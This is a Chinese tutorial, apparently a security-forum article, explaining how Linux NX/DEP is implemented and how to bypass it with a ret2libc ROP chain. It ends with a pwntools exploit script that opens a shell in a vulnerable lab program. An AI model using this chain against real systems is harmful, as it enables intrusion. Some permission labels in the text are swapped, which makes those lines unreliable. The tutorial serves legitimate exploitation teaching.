在【栈上的缓冲区溢出示例】(https://bbs.kanxue.com/thread-282188.htm)中介绍过编译器会将数据执行保护机制打开【Linux:NX: No-Execute
,Windows:DEP: Data Execution Prevention
】,该机制开启后,数据所在的内存页就会被标识为不可执行的状态。
栈上存放的都是数据,因此数据执行保护机制打开时,栈所在内存页会变成不可执行的状态,此时再将Shellcode放在栈上,显然Shellcode就无法执行了。
对于GCC编译器来讲,编译选项-z execstack
和-z noexecstack
可以打开或关闭数据执行保护机制。
在Linux中,可以通过maps
虚文件查看内存布局,下面列出了当该机制打开和关闭时,栈所在内存页的状态。
r: 可读, w: 可写, x: 可执行, p: 私有段, s: 共享段
开启数据执行保护机制:
7ffeffee2000-7ffefff03000 rwxp 00000000 00:00 0 \[stack\]
关闭数据执行保护机制:
7fff4d273000-7fff4d294000 rw-p 00000000 00:00 0 \[stack\]
===
一
数据执行保护机制的实现
数据执行保护机制需要软硬件协作实现。
对于现代CPU而言,通常会采用冯诺依曼架构,少数使用ARM-v7指令集的CPU会基于哈弗架构实现。2种架构的区别在于,哈弗架构中指令和数据的保存区域是分开的,数据区是不可执行的,而冯诺依曼架构中并没有将指令和数据进行区分。
基于冯诺依曼架构实现的CPU为了保障系统的安全性,采用添加不可执行位到页表中,使得内存管理单元MMU: Memory Manage Unit
可以控制页中数据是否可以执行。
从上面的栈地址可以看到,起始和结束地址都是以x000
作为结尾,这是因为Linux中默认分配的页大小为4KB(0x1000),所以使用页表机制分配的地址都会以页作为基础单位,因此内存页的起始和结束地址都以x000
结尾也就不奇怪了。
MMU不止支持操作系统设置页大小,不可执行位也是交给操作系统去配置的。在硬件支持不可执行位后,需要的就是软件支持。
当需要操作系统支持数据执行保护机制时,首先面临1个问题,即操作系统从哪里得知应不应该设置不可执行位呢?
答案很简单,就是可执行文件,上面提到GCC的编译选项-z execstack
和-z noexecstack
会标识ELF是否开启数据执行保护机制。
ELF文件是Linux下可执行文件的标准格式,由ELF头信息、头表(段头表、节头表)信息、段信息、节信息组成。其中ELF头信息描述整个ELF文件的基本信息(如字节序、文件类型、目标机器等等)。段和节分别用于在运行期和链接期提供支持,不管是段还是节,都被划分成多个类型,不同的类型负责提供不同的功能。
不同类型段和节分布在ELF文件中的不同位置上,因此使用表结构去收纳不同类型的段和节,头表中会记录不同类型段或节的基本信息(其中包含段或节在ELF文件中的位置),段和节的信息并不会被收纳,但可以根据头表找到段或节,然后再获取其中的内容。
操作系统加载可执行文件当然是运行期的事情,因此我们通过readelf
工具-l
参数查看ELF文件的段头表信息,在列出的段中可以看到GNU_STACK
段的存在,当数据执行保护机制打开时其段属性会被设置成不可执行状态,反之则会设置成可执行状态。
readelf -l xxxx
R: 可写, W: 可读, E: 可执行
开启数据执行保护机制:
GNU\_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RW 0x10
关闭数据执行保护机制:
GNU\_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RWE 0x10
Linux中一般借助execve
函数启动程序,execve
函数会发送系统调用给内核。
SYSCALL\_DEFINE3(execve,
const char \_\_user \*, filename,
const char \_\_user \*const \_\_user \*, argv,
const char \_\_user \*const \_\_user \*, envp)
{
return do\_execve(getname(filename), argv, envp);
}
当内核收到系统调用请求后,会先检查请求的文件是否具备执行条件,如果文件可以执行就会调用load_binary
接口加载ELF文件并执行。
static int search\_binary\_handler(struct linux\_binprm \*bprm)
{
......
retval = fmt->load\_binary(bprm);
......
}
在计算机中常常会有这样的情况,即同1个目标会可以有多个实现,这些实现即可能都需要加载,也可能视平台类型、硬件类型进行加载。为了更加方便的对这些实现进行管理,Linux会为目标设置统一的接口,接口内部会细化目标需要完成的功能,然后实现与具体的成员进行绑定,当Linux要针对某目标操作某些功能时,就会直接调用对应的成员。
不同实现对应的接口之间通常会使用链表进行管理。
static struct linux\_binfmt elf\_format = {
.module = THIS\_MODULE,
.load\_binary = load\_elf\_binary,
.load\_shlib = load\_elf\_library,
#ifdef CONFIG\_COREDUMP
.core\_dump = elf\_core\_dump,
.min\_coredump = ELF\_EXEC\_PAGESIZE,
#endif
};
比如下面是Linux平台上著名的驱动初始化代码,不同的驱动其实现不同,实现对应的函数名也会不同,如果初始化驱动时,还需要提前把每个实现的初始化函数的函数名和地址记下,在进行调用会非常麻烦。
所以Linux中规定了驱动的函数类型必须为int
,那么此时只需要将初始化函数绑定到对应的结构体并注册到链表中,在初始化驱动时只需要遍历链表,再调用统一的成员名就可以,而不需要思考其他的细节。
在计算机中没什么问题是添加中间层解决不了的
内核:我要加载驱动!!!
内核:怎么有这么多驱动啊,函数名还不一样,我要怎么样才能挨个调用!!!
内核:不如设置一种统一的接口,所有驱动都要按照接口的格式设置初始化函数,然后注册,然后我遍历链表,挨个调用就可以
内核:具体你驱动内部怎么搞,我才不管呢!
按照统一格式设置初始化函数:
static int \_\_init xxxx(void) { ...... }
static void \_\_init do\_pre\_smp\_initcalls(void)
{
initcall\_entry\_t \*fn;
trace\_initcall\_level("early");
for (fn = \_\_initcall\_start; fn < \_\_initcall0\_start; fn++) {
do\_one\_initcall(initcall\_from\_entry(fn));
}
}
fn对应驱动初始化函数地址:
int \_\_init\_or\_module do\_one\_initcall(initcall\_t fn)
{
......
do\_trace\_initcall\_start(fn);
ret = fn();
do\_trace\_initcall\_finish(fn, ret);
......
}
当调用load_binary
接口,通过load_elf_binary
函数会检查段的类型及属性,其中就包含GNU_STACK
段,然后根据GNU_STACK
段的可执行属性设置vm_flags
标志位,虚拟地址空间会根据该标志位设置页属性。
static int load\_elf\_binary(struct linux\_binprm \*bprm)
{
......
for (i = 0; i < elf\_ex->e\_phnum; i++, elf\_ppnt++)
switch (elf\_ppnt->p\_type) {
case PT\_GNU\_STACK:
if (elf\_ppnt->p\_flags & PF\_X)
executable\_stack = EXSTACK\_ENABLE\_X;
else
executable\_stack = EXSTACK\_DISABLE\_X;
break;
case PT\_LOPROC ... PT\_HIPROC:
retval = arch\_elf\_pt\_proc(elf\_ex, elf\_ppnt,
bprm->file, false,
&arch\_state);
if (retval)
goto out\_free\_dentry;
break;
}
......
}
int setup\_arg\_pages(struct linux\_binprm \*bprm,
unsigned long stack\_top,
int executable\_stack)
{
......
if (unlikely(executable\_stack == EXSTACK\_ENABLE\_X))
vm\_flags |= VM\_EXEC;
else if (executable\_stack == EXSTACK\_DISABLE\_X)
vm\_flags &= ~VM\_EXEC;
......
}
===
二
绕过思路-Libc取物
当我们观察最基本的C语言程序运行期的内存布局时,会发现C程序至少会依赖Libc、vDSO、LD三个动态链接库,并且这些动态链接库一定会存在可执行的部分,那么能否借助它们完成利用呢?
ldd ./example
linux-vdso.so.1 (0x00007ffdb1ebb000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007f8b16ed7000)
/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007f8b170ec000)
结论一定是可以的,下面会介绍C程序会什么会依赖上述3个动态链接库,以及到底该利用那个动态链接库完成PWN。
在前面查看段头表时,可以看到INTERP
段指定了/lib64/ld-linux-x86-64.so.2
,并且发现它的格式还是动态链接库。
INTERP 0x0000000000000318 0x0000000000000318 0x0000000000000318
0x000000000000001c 0x000000000000001c R 0x1
\[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2\]
file /lib64/ld-linux-x86-64.so.2
/lib64/ld-linux-x86-64.so.2: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), static-pie linked, BuildID\[sha1\]=c560bca2bb17f5f25c6dafd8fc19cf1883f88558, stripped
要知道现如今很难找到脱离动态链接而产生的程序,即使程序内只包含main
函数且main
函数直接返回,这是因为main
函数其实不是程序的起点,真正起点会依赖其他东西。
当程序中没有main
函数进行编译时,会发现存在未定义的数据导致无法成功链接。在GCC编译器的眼中,main
函数需要由_start
函数调用,它是ELF文件真正的入口。
/usr/bin/ld: /usr/lib/gcc/x86\_64-pc-linux-gnu/14.1.1/../../../../lib/Scrt1.o: in function \`\_start':
(.text+0x1b): undefined reference to \`main'
collect2: error: ld returned 1 exit status
可以在GDB中可以设置参数,对main
函数前运行的情况进行调试。
set backtrace past-entry
set backtrace past-main
(gdb) bt
#0 main () at main.c:14
#1 0x00007ffff7dd8c88 in \_\_libc\_start\_call\_main (main=main@entry=0x55555555516a <main>, argc=argc@entry=1, argv=argv@entry=0x7fffffffdf68)
at ../sysdeps/nptl/libc\_start\_call\_main.h:58
#2 0x00007ffff7dd8d4c in \_\_libc\_start\_main\_impl (main=0x55555555516a <main>, argc=1, argv=0x7fffffffdf68, init=<optimized out>, fini=<optimized out>,
rtld\_fini=<optimized out>, stack\_end=0x7fffffffdf58) at ../csu/libc-start.c:360
#3 0x0000555555555075 in \_start ()
_start
函数是与程序静态链接在一起的,不管是通过反汇编还是调试器进行观察,会发现_start
函数会使用LibC中的__libc_start_main
函数,这就使得程序必须与LibC建立动态链接的关系,__libc_start_main
函数会对main
函数的建立与退出进行处理。
当通过GDB在_start
函数设置断点时,会发现有2个断点被设置下来,首先命中的是动态链接程序(也是ELF文件)的_start
函数,其次才是主程序的_start
函数。第一个_start
函数来自动态链接库/lib64/ld-linux-x86-64.so.2
,与前面INTERP
段指定的动态链接库相同。
info b
Num Type Disp Enb Address What
1 breakpoint keep y <MULTIPLE>
breakpoint already hit 2 times
1.1 y 0x0000555555555050 <\_start>
1.2 y 0x00007ffff7fe5740 <\_start>
Breakpoint 1.2, 0x00007ffff7fe5740 in \_start () from /lib64/ld-linux-x86-64.so.2
(gdb) c
Continuing.
\[Thread debugging using libthread\_db enabled\]
Using host libthread\_db library "/usr/lib/libthread\_db.so.1".
Breakpoint 1.1, 0x0000555555555050 in \_start ()
由于现在的程序都依赖动态链接库,所以Linux会先将控制权交给动态链接器ld-linux-x86-64.so.2
,LD会在主程序开始运行前进行预处理,其中有2个很重要的函数dl_main
和_dl_start_user
,dl_main
函数负责解释ld.so
参数并加载二进制文件和库,_dl_start_user
函数负责跳转到主程序的入口点,然后把控制权交给主程序。
程序的运行需要使用处理器、内存等物理资源,而物理资源是由操作系统进行管理,因此程序必须向操作系统发出请求,该请求也被称作是系统调用。
早期的X86指令集中并没有专门给系统调用提供指令,所以Linux中采取软中断int 0x80
的方式发起系统调用,缺点是软中断的调用耗时较长,尽管后续指令集中添加了系统调用指令(32位:sysenter sysexit,64位:syscall sysret
),但是不同位下的系统调用的指令并不相同,这对于程序而言是困难的,因为它需要思考自己如何处理多系统调用指令带来的复杂度。
为了缓解该问题保障兼容性,Linux推出vDSOvsyscall Dynamic Shared Object)
机制。在Linux内核中为了支持不同处理器的系统调用指令,Linux内核会针对不同的处理器生成相应的动态链接库,直到Linux启动时,选择与处理器对应的动态链接库进行加载。当程序运行时,Linux会将vDSO分享给程序,程序可以借助vDSO发起系统调用,而无需考虑处理器不同带来的兼容性问题。
vDSO就是1个很好的中间层
当LD中的_start
函数命中时,可以发现它之前的2号栈帧的的函数地址位于vsyscall
的范围内。
#0 0x00007ffff7fe5740 in \_start () from /lib64/ld-linux-x86-64.so.2
#1 0x0000000000000001 in ?? ()
#2 0x00007fffffffe27c in ?? ()
#3 0x0000000000000000 in ?? ()
7ffff7fc9000-7ffff7fca000 r--p 00000000 08:01 7351295 /usr/lib/ld-linux-x86-64.so.2
7ffff7fca000-7ffff7ff1000 r-xp 00001000 08:01 7351295 /usr/lib/ld-linux-x86-64.so.2
7ffff7ff1000-7ffff7ffb000 r--p 00028000 08:01 7351295 /usr/lib/ld-linux-x86-64.so.2
7ffff7ffb000-7ffff7fff000 rw-p 00032000 08:01 7351295 /usr/lib/ld-linux-x86-64.so.2
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 \[vsyscall\]
即使是最基本的C语言程序也需要将LibC、vDSO、LD与自身进行动态链接,所以现代程序很难离开动态链接库,考虑到vDSO是内核提供的是虚拟副本且用于辅助系统调用,LD用于处理运行期的动态链接问题,它们都并不适合作为利用对象。
而LibC作为C语言的标准库,其中具有很多常见函数的实际实现,且LibC中一定存在可执行的段,因此可以考虑将LibC作为合适的利用对象。
不管是通过readelf
分析二进制文件,还是通过GDB在运行期查看函数,都可以很好的观察到当前LibC中函数实现。
readelf工具观察:
readelf -s /usr/lib/libc.so.6 | grep execve
1593: 00000000000e0fb0 37 FUNC WEAK DEFAULT 15 execve@@GLIBC\_2.2.5
2922: 00000000000e1550 102 FUNC GLOBAL DEFAULT 15 fexecve@@GLIBC\_2.2.5
3065: 00000000000e0fe0 50 FUNC GLOBAL DEFAULT 15 execveat@@GLIBC\_2.34
GDB调试器观察:
(gdb) info functions
All defined functions:
File main.c:
13: int main(int, char \*\*);
5: static void simple\_overflow(char \*);
Non-debugging symbols:
0x0000555555555000 \_init
0x0000555555555030 strcpy@plt
0x0000555555555040 puts@plt
\--Type <RET> for more, q to quit, c to continue without paging--
0x0000555555555050 \_\_stack\_chk\_fail@plt
0x0000555555555060 printf@plt
0x0000555555555070 getchar@plt
0x0000555555555080 \_start
0x000055555555523c \_fini
0x00007ffff7fca1f0 \_dl\_signal\_exception
0x00007ffff7fca250 \_dl\_signal\_error
0x00007ffff7fca480 \_dl\_catch\_exception
0x00007ffff7fcb670 \_dl\_debug\_state
0x00007ffff7fcc990 \_dl\_exception\_create
\--Type <RET> for more, q to quit, c to continue without paging--
0x00007ffff7fcca60 \_dl\_exception\_create\_format
0x00007ffff7fccf00 \_dl\_exception\_free
0x00007ffff7fcd0a0 \_\_nptl\_change\_stack\_perm
0x00007ffff7fd26b0 \_dl\_rtld\_di\_serinfo
0x00007ffff7fd53c0 \_dl\_find\_dso\_for\_object
0x00007ffff7fd6e70 \_dl\_fatal\_printf
0x00007ffff7fdb100 \_dl\_get\_tls\_static\_info
0x00007ffff7fdb1f0 \_dl\_allocate\_tls\_init
0x00007ffff7fdb480 \_dl\_allocate\_tls
0x00007ffff7fdb4c0 \_dl\_deallocate\_tls
\--Type <RET> for more, q to quit, c to continue without paging--
0x00007ffff7fdc430 \_\_tunable\_is\_initialized
0x00007ffff7fdc760 \_\_tunable\_get\_val
0x00007ffff7fde4a0 \_\_tls\_get\_addr
0x00007ffff7fe11e0 \_dl\_x86\_get\_cpu\_features
0x00007ffff7fe14e0 \_dl\_audit\_preinit
0x00007ffff7fe1570 \_dl\_audit\_symbind\_alt
0x00007ffff7fe4080 \_dl\_mcount
0x00007ffff7ff0f50 \_\_rtld\_version\_placeholder
0x00007ffff7fc77b0 \_\_vdso\_gettimeofday
0x00007ffff7fc77b0 gettimeofday
\--Type <RET> for more, q to quit, c to continue without paging--
0x00007ffff7fc7a30 \_\_vdso\_time
0x00007ffff7fc7a30 time
0x00007ffff7fc7a60 \_\_vdso\_clock\_gettime
0x00007ffff7fc7a60 clock\_gettime
0x00007ffff7fc7da0 \_\_vdso\_clock\_getres
0x00007ffff7fc7da0 clock\_getres
0x00007ffff7fc7e10 \_\_vdso\_getcpu
0x00007ffff7fc7e10 getcpu
为了借助Libc运行期望的程序(比如打开一个shell),那么就需要借助LibC中携带的程序运行函数system
或execve
,其中system
函数只需要1个参数并通过shell
运行,而execve
函数需要需要3个参数并会独立运行程序。
从使用角度上看,system
函数无疑是最方便的。
除了完整使用某可执行区域的完整函数外,也可以进一步缩小范围,选择只借用部分指令。
三
示例讲解
示例程序是1个非常简单的程序,它会从标准输入中读取内容复制给缓冲区变量buf
。
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#define MAX\_READ\_LEN 4096
static void simple\_overflow(void) {
char buf\[12\];
read(STDIN\_FILENO, buf, MAX\_READ\_LEN);
}
int main(void) {
simple\_overflow();
printf("has return\\n");
return 0;
}
本次绕过的仅是数据执行保护机制,所以仍然需要关闭金丝雀的栈溢出保护机制和ASLR机制。
当ASLR被关闭后,LibC加载的地址就会固定下来,由于编译器在编译时无法确认某数据在内存中的位置(无法给出绝对定位),所以对于ELF文件自身内的数据会先分配相对偏移,当程序加载时,再给分配1个绝对地址作为起始地址,而ELF文件内的数据都会根据该起始地址进行偏移。
为了让返回地址指向Libc中system
函数的所在位置,就需要确认Libc的起始地址和system
函数在Libc中编译。
通过readelf
查看段头信息可以知道,LibC中共有4个可加载load
段,其中1个load
段是可执行的,想必system
等其他函数也在其中。
ELF文件的结果:
Program Headers:
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
PHDR 0x0000000000000040 0x0000000000000040 0x0000000000000040
0x00000000000002d8 0x00000000000002d8 R 0x8
INTERP 0x0000000000000318 0x0000000000000318 0x0000000000000318
0x000000000000001c 0x000000000000001c R 0x1
\[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2\]
LOAD 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000738 0x0000000000000738 R 0x1000
LOAD 0x0000000000001000 0x0000000000001000 0x0000000000001000
0x0000000000000249 0x0000000000000249 R E 0x1000
LOAD 0x0000000000002000 0x0000000000002000 0x0000000000002000
0x000000000000010c 0x000000000000010c R 0x1000
LOAD 0x0000000000002dd0 0x0000000000003dd0 0x0000000000003dd0
0x0000000000000268 0x0000000000000270 RW 0x1000
DYNAMIC 0x0000000000002de0 0x0000000000003de0 0x0000000000003de0
0x00000000000001e0 0x00000000000001e0 RW 0x8
NOTE 0x0000000000000338 0x0000000000000338 0x0000000000000338
0x0000000000000040 0x0000000000000040 R 0x8
NOTE 0x0000000000000378 0x0000000000000378 0x0000000000000378
0x0000000000000044 0x0000000000000044 R 0x4
GNU\_PROPERTY 0x0000000000000338 0x0000000000000338 0x0000000000000338
0x0000000000000040 0x0000000000000040 R 0x8
GNU\_EH\_FRAME 0x0000000000002040 0x0000000000002040 0x0000000000002040
0x000000000000002c 0x000000000000002c R 0x4
GNU\_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RW 0x10
GNU\_RELRO 0x0000000000002dd0 0x0000000000003dd0 0x0000000000003dd0
0x0000000000000230 0x0000000000000230 R 0x1
当LibC被加载到内存后,查看maps
文件中的内存布局情况可以知道,LibC的起始地址为0x7ffff7db3000
。
maps文件结果:
7ffff7db3000-7ffff7dd7000 r--p 00000000 08:01 7351308 /usr/lib/libc.so.6
7ffff7dd7000-7ffff7f43000 r-xp 00024000 08:01 7351308 /usr/lib/libc.so.6
7ffff7f43000-7ffff7f91000 r--p 00190000 08:01 7351308 /usr/lib/libc.so.6
7ffff7f91000-7ffff7f95000 r--p 001dd000 08:01 7351308 /usr/lib/libc.so.6
7ffff7f95000-7ffff7f97000 rw-p 001e1000 08:01 7351308 /usr/lib/libc.so.6
在获取LibC的起始地址后,就需要确认system
函数在ELF文件中的偏移,通过强大的readelf
工具可以非常方便的获取它。
readelf工具解析:
readelf -s /usr/lib/libc.so.6 | grep system
1050: 0000000000050f10 45 FUNC WEAK DEFAULT 15 system@@GLIBC\_2.2.5
当然没有readelf工具,也可以采用手工获取的方式,下面演示了如何手动进行解析。
手工解析ELF文件及详细了解ELF文件可以参考**/usr/include/elf.h
头文件及https://refspecs.linuxfoundation.org/
官方文档。**
下面手工查找时,字节对应的含义都可以通过上面的文档查找,readelf工具的主要作用就是按照文档对ELF文件中的字节进行语义翻译。
◆A. 确认段头表的所在位置。
00000000 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
7f: 特定标识
45 4c 46 = E L F
02:64位程序
01:小端字节序
01:默认版本
00:内核ABI版本-System V
00:ABI版本0
其余为保留字节
0000010 03 00 3e 00 01 00 00 00 60 5e 02 00 00 00 00 00
03:动态链接库文件
3e:机器类型X86-64
01:版本
25e60:入口地址
0000020 40 00 00 00 00 00 00 00 78 4d 1e 00 00 00 00 00
40:段头表起始位置
1e4d78:节头表起始位置
0000030 00 00 00 00 40 00 38 00 0e 00 40 00 3f 00 3e 00
00:无特定处理器信息
40:ELF头大小
38:段头表中单个表项的大小
0e:段头表表项数量
40:节头表中单个表项的大小
3f:节头表表项数量
3e:字符串表索引值
◆B. 经过上面可以确认段头表的起始位置为0x40,单个表项大小为0x38,共有14个表项,下面会对目标段对应表项进行解析。
00000e8 01 00 00 00 05 00 00 00 00 40 02 00 00 00 00 00
01:LOAD
05:4-可读+1-可执行
24000:文件内的位置
00000f8 00 40 02 00 00 00 00 00 00 40 02 00 00 00 00 00
24000:虚拟地址
24000:物理地址
0000108 b9 b0 16 00 00 00 00 00 b9 b0 16 00 00 00 00 00
16b0b9:段大小
16b0b9:占用内存大小
0000118 00 10 00 00 00 00 00 00
1000:对齐值
可以发现上述解析是与readelf的结果是一致的
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
LOAD 0x0000000000024000 0x0000000000024000 0x0000000000024000
0x000000000016b0b9 0x000000000016b0b9 R E 0x1000
◆C. 由于段中全部都是指令的二进制编码,所以无法直接看出哪个是system
函数所处的部分。但链接期一定会对符号(其中当然包含函数名)进行解析,所以可以通过分析节信息获取system
函数在文件内的偏移值。
C.1 .dynsym节分析
由于LibC是动态链接库,所以其符号应该放在.dynsym
节中,而非.symtab
节,在.dynsym
节中表项占用0x18字节,表项中具有唯一性的标识符就是st_name,由于st_name
只是索引值,所以需要先到.dynstr
节中确认system
名相对于.dynstr
节的偏移值,然后根据偏移值查找st_name
。
typedef struct
{
Elf64\_Word st\_name; /\* Symbol name (string tbl index) \*/
unsigned char st\_info; /\* Symbol type and binding \*/
unsigned char st\_other; /\* Symbol visibility \*/
Elf64\_Section st\_shndx; /\* Section index \*/
Elf64\_Addr st\_value; /\* Symbol value \*/
Elf64\_Xword st\_size; /\* Symbol size \*/
} Elf64\_Sym;
C.2 st_name索引数值确认
通过节头表可以确认.dynstr
节的起始位置是0x17c68,从该位置开始索引,可以确认system
字符串所在的位置是0x1aa18,相对于0x17c68偏移了0x2d80。
hexdump -C /usr/lib/libc.so.6 -s 0x17c68 | grep system
0001aa18 73 79 73 74 65 6d 00 67 65 74 64 69 72 65 6e 74 |system.getdirent|
C.3 system函数偏移确认
.dynsym
节的起始位置是0x54b8,偏移后的位置就是0xb728,通过分析该区域的字节,可以确认是system
函数所在表项,且结果可以与readelf
工具读取的内容对应。
0000b728 b0 2d 00 00 22 00 0f 00 10 0f 05 00 00 00 00 00
2db0:st\_name - system
22:st\_info - STT\_FUNC & STB\_WEAK
00:st\_other - STV\_DEFAULT
0f:st\_shndx
50f10:st\_value
0000b738 2d 00 00 00 00 00 00 00
2d:st\_size - 45
readelf工具读取结果
Num: Value Size Type Bind Vis Ndx Name
1050: 0000000000050f10 45 FUNC WEAK DEFAULT 15 system@@GLIBC\_2.2.5
通过对比ELF文件中system
函数的字节数据与system
函数反汇编指令的16进制结果,可以确认system
函数已经被正确的找到了。
ELF文件数据:
00050f10 f3 0f 1e fa 48 85 ff 74 07 e9 72 fb ff ff 66 90
00050f20 48 83 ec 08 48 8d 3d 05 9f 15 00 e8 60 fb ff ff
GDB查看system函数反汇编结果的16进制格式:
<system>: 0xfa1e0ff3 0x74ff8548 0xfb72e907 0x9066ffff
<system+16>: 0x08ec8348 0x053d8d48 0xe800159f 0xfffffb60
此时就已经完成了对system
函数地址的确认,之所以手工进行解析是非为了了解一些ELF文件的组成。
system
函数需要接收1个字符串作为参数,这里选择/bin/sh
作为参数,让其打开shell。通过strings
工具可以快速进行解析,其中-a
参数指搜索范围是整个文件,-t
和x
按照16进制格式打印字符串的位置。
strings -a -t x /usr/lib/libc.so.6 | grep "/bin/sh"
1aae28 /bin/sh
通过比对ASCII码可以指定/bin/sh
对应2f 62 69 6e 2f 73 68 00
,也可以在直接通过它对二进制文件进行检索。
hexdump -C /usr/lib/libc.so.6 | grep "2f 62 69 6e 2f 73 68"
001aae20 63 00 2d 63 00 2d 2d 00 2f 62 69 6e 2f 73 68 00 |c.-c.--./bin/sh.|
因为LibC中system
函数是需要1个参数的,基于当前调用协议(rdi rsi rdx rcx r8 r9
),需要先将参数放入rdi
寄存器中。
这个时候就需要借用某段可执行区域的部分指令了。但是问题来了,借用什么样的指令呢。
首先存放的目标是rdi
寄存器,而存放的数值需要溢出到栈上,此时就需要借助pop
指令从栈上取出输入放入rdi
内,pop
指令会从栈上取出最后1个数据,然后缩减栈顶。
在准备好待传递的形参后,就需要跳转到system
函数,该函数的地址也是放到栈上的,那么这个时候就需要ret
指令,ret
指令的作用相当于pop rip
。
指令的地址可以通过ROPgadget
工具进行搜索,除此之外也可以借助指令对应的字节码进行检索。
ROPgadget工具检索结果:
ROPgadget --binary /usr/lib/libc.so.6 | grep "pop rdi ; ret"
0x00000000000fd8c4 : pop rdi ; ret
此时完整的利用链已经清晰了,可以参考下图。
链接描述
根据前面的总结,设置好LibC的基地址,已经需要使用LibC中元素的偏移,再构造字符填满缓冲区变量到调用函数栈底指针寄存器的位置,然后设置利用链,使之调用system
函数。
import os
import pwn
pwn.context.clear()
pwn.context.update(
arch = 'amd64', os = 'linux', log\_level = 'debug',
)
libc\_base = 0x7ffff7db3000
system\_offset = 0x50f10
sh\_str\_offset = 0x1aae28
ret\_offset = 0xfd8c5
pop\_rdi\_ret\_offset = 0xfd8c4
exit\_offset = 0x3f050
payload = b'A' \* (0xc + 0x8)
payload += pwn.p64(libc\_base + pop\_rdi\_ret\_offset)
payload += pwn.p64(libc\_base + sh\_str\_offset)
payload += pwn.p64(libc\_base + system\_offset)
conn = pwn.process("./ret2libc\_example")
conn.send(payload)
conn.interactive()
当执行exploit
后,会发现并没有弹出Shell,将GDB挂到程序上,会发现程序出现了段错误,段错误一般都是访问内存错误。
Program received signal SIGSEGV, Segmentation fault.
(gdb) x /i $rip
\=> 0x7ffff7e03bf4: movaps %xmm0,0x50(%rsp)
(gdb) p $rsp
$1 = (void \*) 0x7fffffffdb08
(gdb) p $rsp+0x50
$2 = (void \*) 0x7fffffffdb58
查看当前程序执行,在指令中操作的内存地址是0x50(%rsp)
,通过查阅资料了解到movaps
中a
代表目标地址需要和16字节对齐,而此时的0x50(%rsp)
是不能被16整除的,所以导致段错误。
16的16进制表示为0x10,所以内存地址的最后1位必须是0,上方地址的最后1位是0x8,为了让地址与16字节对齐,需要让原地址加8或减8。在上方操作rsp
地址的指令为pop
和ret
,它们都让rsp
的地址不断递增,因此这里可以考虑再次利用它们让rsp
的地址加8。
增加1条指令再调用system
函数,对于这种需求显然ret
指令是最合适的。
修改exploit
后(system
函数地址前添加),重新执行利用脚本,会发现已经成功获得Shell。
$ whoami
test
$ exit
\[\*\] Got EOF while reading in interactive
$ w
\[\*\] Process './example' stopped with exit code -11 (SIGSEGV) (pid 3021)
\[\*\] Got EOF while sending in interactive
但是当程序退出时,会发现程序因为异常退出,在GDB调试上观察,可以发现,程序退出时调用ret
指令,但是exploit
中system
函数地址后并没有设置,因此ret
会从栈上取出错误的地址并返回,如果在exploit
内将LibC中exit
函数的地址放到system
函数地址后,使得system
函数返回时可以从栈上取出exit
函数,然后退出。
1.https://www.gnu.org/software/hurd/glibc/startup.html
2.https://taggartinstitute.org/courses/enrolled/1840120
3.https://book.hacktricks.xyz/
看雪ID:福建炒饭乡会
https://bbs.kanxue.com/user-home-1000123.htm
*本文为看雪论坛优秀文章,由 福建炒饭乡会 原创,转载请注明来自看雪社区
# 往期推荐
2、恶意木马历险记
点击阅读原文查看更多